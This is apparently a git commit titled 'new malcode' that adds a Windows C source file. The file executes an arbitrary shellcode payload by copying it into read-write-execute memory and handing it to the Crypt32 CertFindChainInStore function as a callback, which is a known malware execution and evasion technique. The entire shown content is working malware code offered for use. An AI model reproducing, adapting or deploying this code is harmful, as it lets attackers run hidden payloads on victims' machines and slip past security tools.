new malcode

+
2026-06-06 16:54:55 +00:00 · 2022-10-23 13:41:46 -05:00
parent 9b4d003cab
commit 3c1fa96384
11 changed files with 261 additions and 4 deletions
@@ -0,0 +1,58 @@
+#include "Win32Helper.h"
+
+DWORD UnusedSubroutineDisposeableThreadCertFindChainInStore(LPVOID Param)
+{
+	PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
+	LPVOID BinAddress = NULL;
+	HMODULE hModule = NULL;
+	BOOL bFlag = FALSE;
+	CERTOPENSTORE CertOpenStore = NULL;;
+	HCERTSTORE hCertStore = NULL;
+	CERTFINDCHAININSTORE CertFindChainInStore = NULL;;
+	CERTCLOSESTORE CertCloseStore = NULL;;
+	CERT_CHAIN_FIND_ISSUER_PARA ChainFind = { 0 };
+
+	hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll");
+	if (!hModule)
+		goto EXIT_ROUTINE;
+
+	CertOpenStore = (CERTOPENSTORE)GetProcAddressA((DWORD64)hModule, "CertOpenStore");
+	CertFindChainInStore = (CERTFINDCHAININSTORE)GetProcAddressA((DWORD64)hModule, "CertFindChainInStore");
+	CertCloseStore = (CERTCLOSESTORE)GetProcAddressA((DWORD64)hModule, "CertCloseStore");
+
+	if (!CertOpenStore || !CertFindChainInStore || !CertCloseStore)
+		goto EXIT_ROUTINE;
+
+	BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	if (BinAddress == NULL)
+		goto EXIT_ROUTINE;
+
+	CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
+
+	hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM_W, 0, NULL, CERT_SYSTEM_STORE_CURRENT_USER, (PVOID)L"My");
+	if (hCertStore == NULL)
+		goto EXIT_ROUTINE;
+
+	ChainFind.pfnFindCallback = (PFN_CERT_CHAIN_FIND_BY_ISSUER_CALLBACK)BinAddress;
+	ChainFind.cbSize = sizeof(CERT_CHAIN_FIND_BY_ISSUER_PARA);
+
+	CertFindChainInStore(hCertStore, X509_ASN_ENCODING, 0, CERT_CHAIN_FIND_BY_ISSUER, &ChainFind, NULL);
+
+	bFlag = TRUE;
+
+EXIT_ROUTINE:
+
+	if (hModule)
+		FreeLibrary(hModule);
+
+	if (BinAddress)
+		VirtualFree(BinAddress, 0, MEM_RELEASE);
+
+	return (bFlag ? 0 : 0xffffffff);
+}
+
+
+BOOL _unstable__ShellcodeExecViaCertFindChainInStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
+{
+	return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCertFindChainInStore, Sei, INFINITE);
+}